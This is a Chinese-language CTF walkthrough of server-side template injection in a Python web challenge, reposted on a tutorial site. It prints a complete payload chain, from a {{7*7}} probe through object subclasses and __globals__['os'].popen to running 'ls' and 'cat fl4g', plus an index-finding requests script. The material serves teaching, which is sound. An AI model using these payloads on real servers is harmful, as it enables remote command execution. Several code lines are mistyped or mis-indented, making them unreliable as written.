栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

ssti模板注入(入门级)Web

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

ssti模板注入(入门级)Web

Web_python_template_injection(攻防世界进阶)

打开界面判断一下是否是ssti注入?

输入{{7*7}}执行成功得到49,说明存在ssti模板注入

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

先简单的给出ssti的魔术方法,这让我直接想到了反序列化的魔术方法,加油!

每道题的目的和方式简要概括都是,找到父类-->寻找子类-->找关于命令执行或者文件操作的模块。

__subclasses__()  #获取类的所有子类

__init__                 #所有自带带类都包含init方法,便于利用他当跳板来调用globals.

__globals__ 

function.__globals__          #用去获取function所处空间下可使用的module、方法以及所有变量。

方法是这个方法,难得是调用链

以这道题来举个例

''.__class__#返回str类

''.__class__.__base__ #返回str类的父类

''.__class__.__base__.__subclasses__()  #返回str父类basestring的儿子们

当然我们要先找到object类

''.__class__.__mro__#mro是调用链,把类的继承关系想成一棵树,这个方法表示从当前节点到根节点的路径

''.__class__.__mro__[2] #调用object类

''.__class__.__mro__[2].__subclasses__() #返回object的儿子们

需要手动改查找可能调用os模块的类,可以是error,或者print之类的

我这里用print,。这里可以写个脚本,来确定的下标,输出下标为71

​
import requests 

import re

s=requests.session()

for i in range(100):

 url="http://111.200.241.244:59493/{{''.__class__.__mro__[2].__subclasses__()[''+str(i)+'']}}''

response=s.get(url=url)

if re.findall("site._Printer",response.text):

   print(i)

   break


​

然后''__.class__.__mro__[2].__subclasses__()[71].__init__.__globals__   #可以查看site.Printer类引用的所有类和模板

''__.class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'] #调用os模块,然后就可以调用函数

''__.class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read() #结果显示fl4g文件就在当前目录

''__.class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()

得到flag

理论部分完成,让我们开始实践,''.__class__  中的'' 是两个单引号 ' ' ,不然就会报错

 

 查找str的父类

 返回str父类basestring的儿子们

 然后看看看一下继承关系

 调用object类,因为从0开始,str是0,basestring是1,所以object是2

 返回object的儿子们

 其实在这里,你可以数printer下标是第几个,或者用脚本查一下,脚本在上面给出

既然已经知道了下标是71可以直接运用,#可以查看site.Printer类引用的所有类和模板

 #调用os模块,然后就可以调用函数

 结果显示fl4g文件就在当前目录,这个操作是读取一下当前目录

看见了fl4g,经验之谈flag就在这里面,直接cat fl4g 

 讲的应该还算详细,下次遇到了会更详细的!

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/935061.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号